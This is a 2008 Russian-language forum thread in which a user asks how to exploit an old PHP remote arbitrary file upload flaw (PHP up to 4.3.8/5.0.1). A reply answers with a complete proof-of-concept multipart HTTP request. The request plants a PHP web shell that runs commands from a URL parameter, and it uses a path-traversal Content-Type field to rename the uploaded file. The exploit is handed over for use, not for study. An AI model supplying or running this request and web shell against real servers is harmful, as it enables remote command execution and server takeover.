remote arbitrary file upload vulnerability

Discussion in 'Уязвимости' started by gesik, 3 Aug 2008.

  1. gesik

    gesik Member

    Joined:
    21 Sep 2007
    Messages:
    8
    Likes Received:
    6
    Reputations:
    0
    PHP unspecified remote arbitrary file upload vulnerability

    An unspecified remote arbitrary file upload vulnerability has been reported for this version of PHP.

    Affected PHP versions (up to 4.3.8/5.0.1).

    This vulnerability affects PHP.
    The impact of this vulnerability
    Upload arbitrary files.


    Может кто-нить обьяснить как пользоваться этой уязвимостью или кинуть сылку на FAQ или видео?
     
  2. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Уязвимость довольно старая, но опасная, если тебе удалось найти уязвимое веб-приложений (предположу, что сведения об этой баге ты получил от Acunetix Web Vulnerability Scanner)
    PoC для этой уязвимости:
    http://www.securityfocus.com/archive/1/376865
    Бага заключается в том, что при специально составленном HTTP-запросе существует возможность обхода проверки интерпретатором PHP имени загружаемого файла, что может привести к загрузке файлов с произвольными именами в любые директории (естественно, если хватает прав). Подробного описания причин уязвимости автор не дает, известно лишь, что она возможна ввиду ошибок обработки массивов в самом интерпретаторе.
    Code:
    POST /upload.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
    Gecko/20040115 Galeon/1.3.12
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
    n;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en
    Accept-Encoding: gzip, deflate, compress;q=0.9
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Referer:
    Content-Type: multipart/form-data;
    boundary=---------------------------1648318426118446961720965026
    Content-Length: 395
    
    -----------------------------1648318426118446961720965026
    Content-Disposition: form-data; name="user[file[name]123";
    filename="p.php"
    Content-Type: ../html/passt.php
    
    <?
    passthru($_GET['cm']);
    ?>
    
    -----------------------------1648318426118446961720965026
    Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
    Content-Type: application/octet-stream
    
    <?
    passthru($_GET['cm']);
    ?>
    
    В PoC необходимо обратить внимание на name="user[file[type]123"; и Content-Type: ../html/passt.php, что собственно и эксплуатирует уязвимость, заставляя PHP принять файл с именем passt.php вместо p.php.